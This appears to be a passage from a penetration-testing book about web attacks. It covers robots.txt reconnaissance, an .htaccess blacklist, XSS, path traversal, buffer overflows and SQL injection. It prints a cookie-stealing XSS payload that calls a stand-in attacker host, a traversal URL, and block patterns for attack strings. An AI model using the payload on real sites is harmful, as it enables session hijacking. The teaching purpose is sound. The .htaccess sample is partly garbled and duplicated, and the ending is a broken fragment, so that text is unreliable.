One of the easiest ways for an outsider to get into your network is by attacking your web presence. There are three classes of attack that are the most common for all webservers and application servers: cross-site scripting, buffer overflows, and SQL injection. As a penetration tester, you have to find and exploit the vulnerabilities presented, if possible. We will introduce three different tools for this purpose in this chapter: Armitage, OWASP ZAP, and Burp Suite. Armitage is the GUI frontend for the Metasploit Framework, OWASP ZAP is the Non-Profit OWASP organization's web-based webapplication testing tool, and Burp Suite is a complete webapp exploiter from Portswigger.
Since web vulnerabilities are so tied to the site code and its relative security, we are going to start with surveying the landscape of web insecurity and the three top exploit classes. Classes of attacks include many specific exploits and, generally, cannot be completely solved by changing the .htaccess
file.
You can use the .htaccess
file to block access to some of the site directories, in a similar way to how you can use the robots.txt
file to request that robots ignore or do not index some directories. We use wget robots.txt htaccess
at the very beginning to see what the site owners are hiding from searchengine spiders and to find out where the rewrites are going. If we know there is a wp-admin
folder, we can know to dig in there immediately. We can also look for the paid content stored directly on the server. In the following robots.txt
file, the unixtux
folder might hold paid content that an evil hacker could sell. The following is the content of robots.txt
from a WordPress site:
sitemap: http://cdn.attracta.com/sitemap/73546.xml.gz User-agent: * Disallow: /pscripts/ Disallow: /wp-content/ Disallow: /wp-admin/ Disallow: /unixtux/ Disallow: /wp-includes Disallow: /wp-content/plugins Disallow: /wp-content/cache Disallow: /wp-content/themes Disallow: /wp-includes/js Disallow: /trackback Disallow: /category/*/* Disallow: */trackback Disallow: /*?* Disallow: /*? Disallow: /*~* Disallow: /*~
Robots are requested to ignore these directories, but it is basically a courtesy that the search engines offer to actually ignore the directories. Malware spiders may ignore the request for privacy.
The .htaccess
is an invisible file (thus the dot at the beginning) which is part of the Apache webserver and lives in the root
folder for the website. This file is a set of controls that tell the webserver where to direct certain requests. This file can be used to redirect certain requests, for instance:
Here are some examples of that:
<IfModule> # BEGIN Ban Users # Begin HackRepair.com Blacklist RewriteEngine on RewriteCond %{HTTP_USER_AGENT} ^[Ww]eb[Bb]andit [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^Acunetix [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^binlar [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^Bolt 0 [NC,OR] Rewrite RewriteCond %{HTTP_USER_AGENT} ^BOT for JCE [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^casper [NC,OR]Cond %{HTTP_USER_AGENT} ^Bot mailto:[email protected] [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^BOT for JCE [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^casper [NC,OR] # END Ban Users # BEGIN Tweaks # Rules to block access to WordPress specific files <files .htaccess> Order allow,deny Deny from all </files> <files readme.html> Order allow,deny Deny from all </files> <files readme.txt> Order allow,deny Deny from all </files> </IfModule> <IfModule mod_rewrite.c> RewriteEngine On # Rules to protect wp-includes RewriteRule ^wp-admin/includes/ - [F] RewriteRule !^wp-includes/ - [S=3] RewriteCond %{SCRIPT_FILENAME} !^(.*)wp-includes/ms-files.php RewriteRule ^wp-includes/[^/]+.php$ - [F] RewriteRule ^wp-includes/js/tinymce/langs/.+.php - [F] RewriteRule ^wp-includes/theme-compat/ - [F] # Rules to prevent php execution in uploads RewriteRule ^(.*)/uploads/(.*).php(.?) - [F] # Rules to block unneeded HTTP methods RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK) [NC] RewriteRule ^(.*)$ - [F] # Rules to block suspicious URIs RewriteCond %{QUERY_STRING} ../ [NC,OR] RewriteCond %{QUERY_STRING} ^.*.(bash|git|hg|log|svn|swp|cvs) [NC,OR] RewriteCond %{QUERY_STRING} etc/passwd [NC,OR] RewriteCond %{QUERY_STRING} boot.ini [NC,OR] RewriteCond %{QUERY_STRING} ftp: [NC,OR] RewriteCond %{QUERY_STRING} http: [NC,OR] RewriteCond %{QUERY_STRING} https: [NC,OR] RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [NC,OR] RewriteCond %{QUERY_STRING} base64_encode.*(.*) [NC,OR] RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(127.0).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(request|concat|insert|union|declare).* [NC] RewriteCond %{QUERY_STRING} !^loggedout=true RewriteCond %{QUERY_STRING} !^action=jetpack-sso RewriteCond %{QUERY_STRING} !^action=rp RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$ # Rules to block foreign characters in URLs RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F).* [NC] RewriteRule ^(.*)$ - [F] # Rules to help reduce spam RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} ^(.*)wp-comments-post.php* RewriteCond %{HTTP_USER_AGENT} ^$ </IfModule> # Custom error document redirects ErrorDocument 400 /wp-content/plugins/bulletproof-security/400.php ErrorDocument 401 default ErrorDocument 403 /wp-content/plugins/bulletproof-security/403.php ErrorDocument 404 /404.php ErrorDocument 405 /wp-content/plugins/bulletproof-security/405.php ErrorDocument 410 /wp-content/plugins/bulletproof-security/410.php
To maintain defense in depth, you have to implement as much automated resistance into the site as possible, but you will not be able to block many cross-site scripting attacks, SQL injection attacks, or buffer-overflow attacks with .htaccess
.
Cross-site scripting is basically caused by invalid, un-escaped input from the browser. To stop it from happening on your Windows Application server, you have to create validating rules that work with your application architecture. The OWASP Top 10 Proactive Controls Document (https://www.owasp.org/images/5/57/OWASP_Proactive_Controls_2.pdf) shows examples of query parameterization for several languages you might be developing your applications in. The following is an example for C#.NET:
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId"; SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int)); command.Parameters["@CustomerId"].Value = 1;
There are many different attacks possible with XSS, from minor site defacement to session hijacking. Below is an example of session hi-jacking.
'<script> var img = new Image(); img.src="http://EvilHax0r.com?" + document.cookie; </script>'
As a security engineer, you may have to show examples of exploit code that attacks the vulnerabilities, but you will expect the developers to handle the mitigating code for the vulnerable pages.
Any form field that can be filled by the user, or is hidden from the user and contains session information, can be overflowed unless it is parameterized and handles excess data safely. When you are reviewing your web logs, you might see an extra-long URL that ends with something like the following: http://,your-domain.com/images/../../../../../../../../../../%WINDOWS%/%system%/<something-useful-to-hackers>
. This is a very simple command intended to cd
to a system file in your Windows folder. The webserver attempts to parse the command implicitly in the URI and back up to the drive partition root and go forward into the Windows directory. Note that you can keep this from working by not having the webserver on the same drive partition. If the inetpub
folder is on the r:
drive, it's likely that the attacker 'won't have prepared changing drives. However, this will not work on a default install of Windows Server anymore, as the OS will not allow direct remote access to the webserver user. You cannot guarantee that access to another folder will be so well protected.
To reduce buffer overflows, the fields must fail in a safe way when a cracker tries to overflow the data stack of heap in memory. On the frontend, you could have parameters on each field, created in the HTML code, JavaScripting, or a hundred other methods, and though these look like quick and easy fixes, client-side code is not safe. It can be changed. The careful parameterization could be gone in a heartbeat. You need to have your developers write server-side code to protect the site from buffer overflow. Server-side verification code is harder to access and modify from a remote location.
A SQL injection is an attack that attempts to put an unexpected database command directly into your web application's database. An unexpected command pushed to your database can modify the content, including erasing the data. It can infect the database and push the infection to your users. It can let the evil hacker eavesdrop on every transaction on the database. It can let the attacker run operating-system commands on the host machine. Depending on how insecure the code is, your database could be getting successfully attacked over and over by automated tools. You will want to check your applications for whether the development framework uses an Object Relational Model (ORM) that automatically adds parameters to form fields and performs static code inspection.
QUOTENAME
, to defang single characters and strings up to 128 characters long, and REPLACE
to escape strings of arbitrary length.18.118.24.106